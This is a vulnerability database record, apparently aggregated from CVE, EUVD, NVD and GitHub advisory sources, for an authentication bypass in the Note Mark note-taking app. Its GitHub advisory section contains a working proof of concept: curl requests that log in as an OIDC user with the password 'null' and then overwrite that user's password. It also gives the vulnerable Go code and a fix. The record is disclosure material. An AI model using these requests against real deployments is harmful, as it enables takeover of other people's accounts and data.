{"id":"GO-2026-5557","revision":null,"records":[{"revision":"0718f564dc3048768f0e10f8cfdf64bb","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-41571","aliases":[],"title":"Note Mark: OIDC-registered users authenticated by submitting password \"null\"","description":"Note Mark is an open-source note-taking application. In version 0.19.2, IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt(\"null\") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: \"null\" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction. This issue has been patched in version 0.19.3.","state":0,"publishedAt":"2026-05-04T17:42:32.428+00:00","modifiedAt":"2026-05-04T20:20:53.632+00:00","affected":[{"ecosystem":"Vendor product","name":"note-mark","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"enchant97\",\n                    \"product\": \"note-mark\",\n                    \"versions\": [\n                        {\n                            \"version\": \"= 0.19.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","score":9.4,"severity":"CRITICAL"}],"references":["https://github.com/enchant97/note-mark/security/advisories/GHSA-pxf8-6wqm-r6hh","https://github.com/enchant97/note-mark/releases/tag/v0.19.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-41571","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-41571","identifiers":["CVE-2026-41571"]},"retained":false,"historicalAffected":[]},{"revision":"0c78be0da4684e94a9b086a3af19c784","observedAt":"2026-11-07T13:22:38.694+00:00","statement":{"source":"euvd","id":"EUVD-2026-27051","aliases":["CVE-2026-41571","GHSA-pxf8-6wqm-r6hh"],"title":"Note Mark is an open-source note-taking application. In version 0.19.2, IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt(\"null\") placeholder whenever a user has no stored password. OIDC-registered users are created …","description":"Note Mark is an open-source note-taking application. In version 0.19.2, IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt(\"null\") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: \"null\" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction. This issue has been patched in version 0.19.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","score":9.4,"severity":null}],"references":["https://github.com/enchant97/note-mark/security/advisories/GHSA-pxf8-6wqm-r6hh","https://github.com/enchant97/note-mark/releases/tag/v0.19.3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-27051","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 4, 2026, 5:42:32 PM","dateUpdated":"May 4, 2026, 8:20:53 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-27051","identifiers":["EUVD-2026-27051","CVE-2026-41571","GHSA-pxf8-6wqm-r6hh"]},"retained":false,"historicalAffected":[]},{"revision":"8a05c52be16e4be9b8ee06d1fdbfd583","observedAt":"2026-10-27T10:10:19.004+00:00","statement":{"source":"nvd","id":"CVE-2026-41571","aliases":[],"title":"Note Mark is an open-source note-taking application. In version 0.19.2, IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt(\"null\") placeholder whenever a user has no stored password. OIDC-registered users are created …","description":"Note Mark is an open-source note-taking application. In version 0.19.2, IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt(\"null\") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: \"null\" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction. This issue has been patched in version 0.19.3.","state":0,"publishedAt":"2026-05-04T18:16:29.6+00:00","modifiedAt":"2026-10-26T19:10:00.163+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","score":9.4,"severity":"CRITICAL"}],"references":["https://github.com/enchant97/note-mark/releases/tag/v0.19.3","https://github.com/enchant97/note-mark/security/advisories/GHSA-pxf8-6wqm-r6hh"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41571","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-287"],"productCriteria":[],"sourceDates":{"published":"2026-05-04T18:16:29.600","lastModified":"2026-10-26T19:10:00.163"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-41571","identifiers":["CVE-2026-41571"]},"retained":false,"historicalAffected":[]},{"revision":"04ea290c582042d0bfde0aa0eeaf6079","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-pxf8-6wqm-r6hh","aliases":["CVE-2026-41571","GO-2026-5557"],"title":"Note Mark: OIDC-registered users authenticated by submitting password \"null\"","description":"## Summary\n\n`IsPasswordMatch` in `backend/db/models.go` falls back to a hard-coded `bcrypt(\"null\")` placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits `password: \"null\"` to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction.\n\n## Details\n\n`backend/db/models.go:36` defines the placeholder hash used by the timing-attack mitigation inside `IsPasswordMatch`:\n\n```go\nvar nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte(\"null\"), bcrypt.DefaultCost)\n```\n\n`IsPasswordMatch` (`backend/db/models.go:46-58`) substitutes that placeholder when the stored password is empty:\n\n```go\nfunc (u *User) IsPasswordMatch(plainPassword string) bool {\n    var current []byte\n    if len(u.Password) == 0 {\n        // prevent CWE-208\n        current = nullPasswordHash\n    } else {\n        current = u.Password\n    }\n    if err := bcrypt.CompareHashAndPassword(current, []byte(plainPassword)); err == nil {\n        return true\n    }\n    return false\n}\n```\n\nOIDC-registered users are stored with an empty password at `backend/services/auth.go:102-115`:\n\n```go\nreturn db.DB.Transaction(func(tx *gorm.DB) error {\n    user := db.User{\n        Username: username,\n        Password: []byte(\"\"),\n    }\n    // ...\n})\n```\n\nThe internal login endpoint (`POST /api/auth/token`, handled at `backend/services/auth.go:20-54`) calls `IsPasswordMatch` with the caller-supplied password. For any OIDC-only user, `bcrypt.CompareHashAndPassword(nullPasswordHash, []byte(\"null\"))` returns nil, the function returns true, and the server issues a `Auth-Session-Token` cookie.\n\n`EnableInternalLogin` defaults to `true`, and `GET /api/info` discloses both OIDC configuration and internal-login status. `enableAnonymousUserSearch` also defaults to `true`, so an unauthenticated caller enumerates usernames via `GET /api/users/search` before touching the login endpoint.\n\nOnce the session is issued, `PUT /api/users/me/password` accepts `existingPassword: \"null\"` because the same `IsPasswordMatch` routine verifies the existing password. The caller writes a new password onto the OIDC user's row, which locks the legitimate OIDC user out on the next internal-login path.\n\n## Proof of Concept\n\nTested against `note-mark` v0.19.2.\n\nStep 1: Start note-mark pointed at any OIDC provider and set `OIDC__ENABLE_USER_CREATION=true`. The defaults for `ENABLE_INTERNAL_LOGIN` and `ENABLE_ANONYMOUS_USER_SEARCH` do not need to be changed.\n\n```bash\ndocker run -d --name note-mark-poc \\\n  -e OIDC__PROVIDER_NAME=example \\\n  -e OIDC__CLIENT_ID=note-mark \\\n  -e OIDC__CLIENT_SECRET=secret \\\n  -e OIDC__ISSUER_URL=https://your-oidc-provider/ \\\n  -e OIDC__ENABLE_USER_CREATION=true \\\n  -p 8088:8080 ghcr.io/enchant97/note-mark-backend:0.19.2\n```\n\nStep 2: Alice registers via the OIDC flow. `TryCreateNewOidcUser` stores her row with `Password = []byte(\"\")`.\n\nStep 3: Bob confirms the preconditions.\n\n```bash\ncurl -s http://localhost:8088/api/info\n# {\"allowInternalLogin\":true,\"oidcProvider\":\"example\",\"enableAnonymousUserSearch\":true,...}\n```\n\nStep 4: Bob logs in as Alice via the internal endpoint.\n\n```bash\ncurl -i -X POST http://localhost:8088/api/auth/token \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"grant_type\":\"password\",\"username\":\"alice\",\"password\":\"null\"}'\n```\n\nResponse:\n\n```\nHTTP/1.1 204 No Content\nSet-Cookie: Auth-Session-Token=eyJ...; Path=/; HttpOnly; SameSite=Strict\n```\n\nStep 5: Bob uses the cookie to read Alice's account.\n\n```bash\ncurl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me\n# {\"id\":\"...\",\"username\":\"alice\",\"name\":\"Alice\"}\n```\n\nStep 6: Bob persists access by writing his own password onto Alice's row.\n\n```bash\ncurl -i -b 'Auth-Session-Token=eyJ...' -X PUT \\\n  http://localhost:8088/api/users/me/password \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"existingPassword\":\"null\",\"newPassword\":\"bob-owns-this-now\"}'\n# HTTP/1.1 204 No Content\n```\n\nAlice's next internal-login attempt fails; her OIDC flow still works, but Bob now holds a second valid credential on the same row.\n\nA companion script that drives all six steps ships at `pocs/poc_014_null_password_bypass.sh`.\n\n## Impact\n\nEvery OIDC-only user on a note-mark deployment with `ENABLE_INTERNAL_LOGIN=true` (the default) is one HTTP request from takeover. Bob reads Alice's private notebooks, her note markdown, and her uploaded assets. He writes, edits, or deletes anything Alice owns. Step 6 grants persistent access and costs Alice her account until the maintainer clears the row by hand.\n\nThe default configuration ships both authentication paths side by side, so any site that turns on OIDC is affected without further misconfiguration on the operator's part.\n\n## Recommended Fix\n\nThe clearest fix rejects the login path for rows with no stored password. Add the check after the user lookup in `GetAccessToken`:\n\n```go\n// backend/services/auth.go:28\nvar user db.User\nif err := db.DB.\n    First(&user, \"username = ?\", username).\n    Select(\"id\", \"password\").Error; err != nil {\n    user.IsPasswordMatch(password) // preserve CWE-208 timing mitigation\n    return core.AccessToken{}, InvalidCredentialsError\n}\n\nif len(user.Password) == 0 {\n    return core.AccessToken{}, InvalidCredentialsError\n}\n\nif !user.IsPasswordMatch(password) {\n    return core.AccessToken{}, InvalidCredentialsError\n}\n```\n\nThe equivalent change belongs in `UpdateUserPassword` at `backend/services/users.go:53-61`, since the same routine verifies `existingPassword` during the persistence step.\n\nReplacing `nullPasswordHash` with a per-instance unguessable plaintext closes the hole too, but relies on the placeholder staying secret:\n\n```go\n// backend/db/models.go:36\nvar nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte(uuid.NewString()), bcrypt.DefaultCost)\n```\n\nThe explicit empty-password check is preferable because the intent is readable in the source.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","state":0,"publishedAt":"2026-04-25T23:40:19+00:00","modifiedAt":"2026-06-25T23:11:43.1736598+00:00","affected":[{"ecosystem":"Go","name":"github.com/enchant97/note-mark/backend","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260417132909-dea5530cc989"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/enchant97/note-mark/security/advisories/GHSA-pxf8-6wqm-r6hh","https://nvd.nist.gov/vuln/detail/CVE-2026-41571","https://github.com/enchant97/note-mark/commit/dea5530cc9891187b51548ef9f2868b7dc9f4e92","https://github.com/enchant97/note-mark","https://github.com/enchant97/note-mark/releases/tag/v0.19.3"],"sourceUrl":"https://github.com/advisories/GHSA-pxf8-6wqm-r6hh","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-pxf8-6wqm-r6hh","identifiers":["GHSA-pxf8-6wqm-r6hh","CVE-2026-41571","GO-2026-5557"]},"retained":false,"historicalAffected":[]},{"revision":"4484637b71c248bfa9d2f91f8187bfcc","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5557","aliases":["CVE-2026-41571","GHSA-pxf8-6wqm-r6hh"],"title":"Note Mark: OIDC-registered users authenticated by submitting password \"null\" in github.com/enchant97/note-mark/backend","description":"Note Mark: OIDC-registered users authenticated by submitting password \"null\" in github.com/enchant97/note-mark/backend","state":0,"publishedAt":"2026-06-25T22:34:34+00:00","modifiedAt":"2026-06-25T23:01:31.7367093+00:00","affected":[{"ecosystem":"Go","name":"github.com/enchant97/note-mark/backend","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260417132909-dea5530cc989"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/enchant97/note-mark/security/advisories/GHSA-pxf8-6wqm-r6hh","https://nvd.nist.gov/vuln/detail/CVE-2026-41571","https://github.com/enchant97/note-mark/commit/dea5530cc9891187b51548ef9f2868b7dc9f4e92","https://github.com/enchant97/note-mark/releases/tag/v0.19.3"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5557","license":"OSV · upstream source license applies","key":"osv:GO-2026-5557","identifiers":["GO-2026-5557","CVE-2026-41571","GHSA-pxf8-6wqm-r6hh"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T16:07:52.6079466+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T16:07:52.6079466+00:00","lastSuccessAt":"2026-11-07T16:07:52.8396759+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.8396778+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-c173d89a3f1a0bdb31cd68e866be332a5016302f586ede89a35ec193ac99504a","complete":true,"records":420933,"lastAttemptAt":"2026-11-07T16:07:52.127477+00:00","lastSuccessAt":"2026-11-07T16:07:52.0557652+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.127477+00:00","snapshotPublishedAt":"2026-11-07T15:22:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-bee3dfbd77fe4043986590b0e0b76259","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T16:18:44.6437051+00:00","lastSuccessAt":"2026-11-07T16:18:44.639+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:18:44.639+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T16:07:52.6079466+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T16:07:52.6079466+00:00","lastSuccessAt":"2026-11-07T16:07:58.5710341+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:58.5710358+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e1c431e1022f4db1b4e459e61c31a4ca","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T16:08:00.6485737+00:00","lastSuccessAt":"2026-11-07T16:08:00.644+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:08:00.644+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T16:07:52.5107257+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.5107257+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T16:07:52.2947928+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.2947928+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T16:07:52.5258708+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.5258708+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T16:07:52.4004477+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.4004477+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}